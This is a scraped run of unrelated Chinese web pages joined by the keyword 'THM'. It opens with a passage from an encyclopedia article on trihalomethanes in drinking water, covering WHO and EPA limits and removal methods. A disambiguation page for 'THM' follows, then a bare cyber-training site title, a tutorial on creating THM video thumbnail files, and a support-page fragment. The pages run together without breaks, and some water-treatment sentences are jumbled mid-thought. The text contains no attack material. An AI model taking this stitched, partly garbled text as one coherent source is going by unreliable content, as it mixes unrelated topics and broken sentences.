卤甲烷，虽然有关它的毒性资料较少，但在有些研究中，证实它的致突变性和致癌性；它在生理化学活性上较氯仿为强。在流行病学的研究上，尚没有充分的证据显示，饮用水中的污染物与癌症的死亡率有直接关系，但已有些研究多少显示，癌症的死亡率与罹病率与饮用水的水质有某种程度上的关连。氯仿在人类或动物身上，有好几种不良的影响，对健康潜在的风险，以可能会致癌的影响最大。基于此种考虑，对于饮用水中含氯仿的标准值，世界卫生组织（WHO）依每人平均每天饮用2公升的水，终身致癌风险为10-5时，订出氯仿之标准值为0.03mg/l。美国环保署订定总三卤甲烷的最大污染物限值为0.10mg/l，此与终身致癌风险（每天饮用2公升0.10mg/lCHC13，连续70年）为3.4×10-4的数值有关。控制技术播报编辑文献中考虑用来去除三卤甲烷和三卤甲烷先驱物质的技术，计有：氧化、暴气（aeration）、吸附、树脂、澄清（如混凝、直接过滤等）、原水控制、pH调整、降低加氯量、改变加氯点（changing the point of chlorination）、逆渗透（RO）、生物处理、替代消毒剂（如臭氧、氯胺、二氧化氯、高锰酸钾、紫外光）等。根据前面形成三卤甲烷的简单反应式，可引导出三个基本原则来控制三卤甲烷后去除之现今主要的研究集中在四个方向：1.强化絮凝混凝最初用于去除水中的悬浮颗粒，后来发现当增加混凝剂的投加量时，可以有效的去除色度，这说明混凝剂对有机物有明显的去除效果。 2.氧化分为生物氧化和化学氧化。水中有机物质分为可生物降解有机物和难生物降解有机物，对于可生物降解有机物，可以利用微生物将其分解成稳定的为无机物，从而达到消除有机物的目的。常用的化学氧化有O3、H2O2、芬顿试剂、KmnO4及其复合药剂TiO2+UV及它们的联合工艺。3.活性炭是一种良好的水处理剂，它能有效的去除有机物，但不能去除溴代物。因此，它使消毒副产物中溴代卤化物的比例增加。4.膜过滤是一项已有几十年历史的成熟工艺，但将它用于去除有机物的研究却是新发展，一般分（尤其是消毒副产物氯仿的前驱物质）为反渗透、纳滤、超滤、微滤4种。对去除已生成的三卤甲烷，一般认为可行方法为曝气或活性碳吸附，但水中三卤甲烷之浓度不高，气－液间的质量传送效率有限，必须长时间的暴气。另外，活性碳对三卤甲烷的吸附能力欠佳，就经济上考虑，去除已生成的三卤甲烷，在实用上显然有困难。消毒剂改变消毒剂方面，使用臭氧、二氧化氯等与水中有机物质的反应产物，尚无法完全了解，恐怕将来亦可能面临三卤甲烷所带来的问题，在改变消毒剂方面不得不十分慎重地再多加检讨。前驱物质混凝沉淀处理，在去除分子量较大的三卤甲烷前驱物质上，有良好的效果，可令三卤甲烷的生成量减低至相当程度。同时，因为混凝沉淀处理是一般工作人员所熟习的技术，而且，对三卤甲烷前驱物质的混凝沉淀处理，不必另外变更水厂原有的加药设备或药品种类，也不用更改水厂原有的净水处理程序。因此，就现阶段而言，美国及日本皆认为采用较完善的混凝沉淀，在加氯之前先将水中之有机物质（亦即三卤甲烷的前驱物质）减低至相当程度，是一项最为有效而可行的技术。另，臭氧氧化和两步活性炭颗粒吸附法是常用的降低消毒副产物浓度的方法，在臭氧氧化之后用活性炭颗粒生物过滤和活性炭颗粒吸附两步来去除消毒副产物，有明显的效果。现状播报编辑国内外有关THMs的形成和控制技术的研究很多，但THMs的生成机理及天然水中其前体有机物的类型还不十分明确；另外，有关THMs控制技术虽然研究很多，但真正价格低，效果好，能广泛推广的技术几乎没有。迄今为止，氯消毒具有杀菌效果快，使用方便，处理成本低和运行管理方便等优点，仍是最主要的消毒方法。新手上路成长任务编辑入门编辑规则本人编辑我有疑问内容质疑在线客服官方贴吧意见反馈投诉建议举报不良信息未通过词条申诉投诉侵权信息封禁查询与解封©2024 Baidu 使用百度前必读 | 百科协议 | 隐私政策 | 百度百科合作平台 | 京ICP证030173号 京公网安备110000020000thm_百度百科
百度百科 网页新闻贴吧知道网盘图片视频地图文库资讯采购百科百度首页登录注册进入词条全站搜索帮助首页秒懂百科特色百科知识专题加入百科百科团队权威合作下载百科APP个人中心收藏查看我的收藏0有用+10thm播报讨论上传视频全员危险源管理全员危险源管理，一般简称THM，是英文的缩写。中文名全员危险源管理外文名Total HazardManagement英文的缩写THMTHM一般是英文的缩写全员危险源管理 Total HazardManagement ，简称THM一，THM是MP4或者MPG视频文件的索引文件。有些视频播放器除了需要MP4或者MPG格式的视频文件外，还需要一个THM格式的索引文件才能播放。THM格式的文件其实就是一张JPG格式的图片，你可以用ACDSEE打开查看。当播放MP4播放器无法播放MP4或者MPG文件时，就因为缺少这个索引文件。只要找一张jpg格式的图片分辨率改为160*120，再将文件名改成跟那个需要播放的mp4或者MPG文件名一致。扩展名改为THM就可以播放了。二，THM表示化学物质三卤甲烷的缩写。三，THM=Total Heavy Minerals 总矿物总量。四，THM=Top Healthy Medical 服务（医疗咨询）台。五，诺基亚的主题制作软件的格式，也就是说诺基亚的主题的源文件格式是THM文件。六，(thermo-hydraulic-mechanics)热-水力-力学七，化学，环境领域的致变物。新手上路成长任务编辑入门编辑规则本人编辑我有疑问内容质疑在线客服官方贴吧意见反馈投诉建议举报不良信息未通过词条申诉投诉侵权信息封禁查询与解封©2024 Baidu 使用百度前必读 | 百科协议 | 隐私政策 | 百度百科合作平台 | 京ICP证030173号 京公网安备110000020000TryHackMe | Cyber Security Training
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GT 解释：什么是缩略图 (THM) 文件以及如何创建它们 – Digitalixy.com
释：什么是缩略图 (THM) 文件以及如何创建它们 – Digitalixy.com Please click here if you are not redirected within a few seconds. Skip to content AppleiPhoneiPadAirPodsMacMacbookApple WatchApple TViOSMacOSAndroidPixelGoogle PlayGalaxyOnePlusLinuxCentOSDebianUbuntuFedoraNginxApacheWindowsOfficeExcelWordOneDriveOutlookBrowserChromeSafariFirefoxOperaBraveEdgeChromiumTipsYouTubeGmailNetflixFacebookTwitterTelegramWhatsAppTikTokDiscordDisney+ Digitalixy.com AppleiPhoneiPadAirPodsMacMacbookApple WatchApple TViOSMacOSAndroidPixelGoogle PlayGalaxyOnePlusLinuxCentOSDebianUbuntuFedoraNginxApacheWindowsOfficeExcelWordOneDriveOutlookBrowserChromeSafariFirefoxOperaBraveEdgeChromiumTipsYouTubeGmailNetflixFacebookTwitterTelegramWhatsAppTikTokDiscordDisney+ 搜索 Digitalixy.com Menu Home Apple GT 解释：什么是缩略图 (THM) 文件以及如何创建它们GT 解释：什么是缩略图 (THM) 文件以及如何创建它们2021年11月30日如果您曾经将一堆视频文件从相机导入到计算机，您可能已经注意到，除了视频文件本身之外，您还会得到一堆带有 THM 扩展名的较小文件。 这是缩略图文件的文件扩展名。THM文件解释缩略图文件被相机、其他设备和网络广泛使用，主要用于提供较小版本的内容，以减少空间并加快预览加载速度。在 Web 上，缩略图文件占用空间小，但在加载时间方面却大不相同。 为了 example，使用缩略图而不是全尺寸图像列出内容的网站可以以数倍的速度进行浏览。对于从相机导入的视频，缩略图文件有时还可以携带 EXIF 元数据（有关视频的信息）以及拍摄视频时使用的曝光设置。 但是，在摄像机的情况下，THM 文件（缩略图文件的缩写）通常是通过使用相应视频的第一帧自动创建的。THM 文件还在使用中吗？虽然现在没有多少用户真正关心他们的视频或网络画廊的预览，但学习创建自己的缩略图文件非常简单，并且可以 example，帮助您进一步个性化视频在便携式设备上的显示方式。为您的视频创建 THM 文件第1步： 在任何应用程序上打开您的视频，然后转到要用作缩略图的帧。 完成后，截取它的屏幕截图，然后在 Photoshop 中打开该屏幕截图。第2步： 接下来，单击菜单栏上的图像并选择图像大小…选项。在弹出的窗口中，将图像的尺寸更改为 160 x 120 像素，如下所示。 这些是用于缩略图文件的最流行的尺寸，因此我们将坚持使用它们。酷提示： 本教程中缩略图文件的尺寸是最常用的。 但是，有些设备支持其他缩略图尺寸。第 3 步： 使用合适大小的图像，单击文件，然后选择 Save 用于网络和设备。 这将打开一个新窗口，让您在最终保存缩略图文件之前调整一些附加设置。第四步： 首先，在此窗口顶部的预设下，从下拉菜单中选择 JPEG 作为格式。 接下来，选择最高质量并选中优化框（这非常重要）。接下来，在保存之前，重新检查窗口右下角的图像尺寸是否正确。完成后，点击 Save 按钮来保存您的图像。第 5 步： 缩略图文件基本上是优化的 JPEG 图像，这就是我们在上一步中调整设置的原因。 所以现在您已经保存了图像，单击它并将其扩展名从 JPEG 更改为 THM。 如果您收到警告，只需接受即可。第 6 步： 现在，在将文件复制到设备之前，将视频和缩略图文件放在同一文件夹中，并确保它们具有完全相同的名称。接下来，将它们复制到您的设备（确保它们在同一文件夹中），您将看到您的视频现在显示您的缩略图，而不是随机创建的缩略图，如下所示。你去吧。 现在，您有一个很好的方法来更好地组织您的视频收藏。 Posts 前 5 个免费 HEIC 到 JPG 转换器 如何使图片和文件更小 iPhone PC 版 iMessage：如何获取 iMessage Windows 个人电脑 最佳 5 款视频编辑软件 Windows [Full Guide] 2 种方法来伪造 GPS 位置 iPhone 不带电脑 Related Posts 亚马逊最好的 4K 流媒体棒仅售 35 美元 Apple 在 7 月 26 日关闭“我的照片流”服务——这是该怎么做 Cephei Tweak 支持更新到 v2.0，支持无根越狱 如何删除或重新排列您的图标 Mac 菜单栏 谣言：最近的 3 台 Mac 有资格获得 Apple 以旧换新作为新模型在 WWDC 上亮相 Apple 可能会为其 MagSafe 带来色彩 iPhone 充电器，松开卧式Magic Charger支架 SearchDots 端口 iOS 16岁 Home 屏幕搜索丸越狱 iOS 15台设备 如何修复“连接到 Apple 身份证服务器”Copyright © 2024 Digitalixy.com | 隐私政策We are using cookies to give you the best experience on our website.You can find out more about which cookies we are using or switch them off in settings. Accept Close GDPR Cookie Settings Privacy Overview Strictly Necessary Cookies Powered by GDPR Cookie Compliance Privacy OverviewThis website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful. Strictly Necessary CookiesStrictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings. Enable or Disable Cookies If you disable this cookie, we will not be able to save your preferences. This means that every time you visit this website you will need to enable or disable cookies again. Enable All Save SettiGoPro Support
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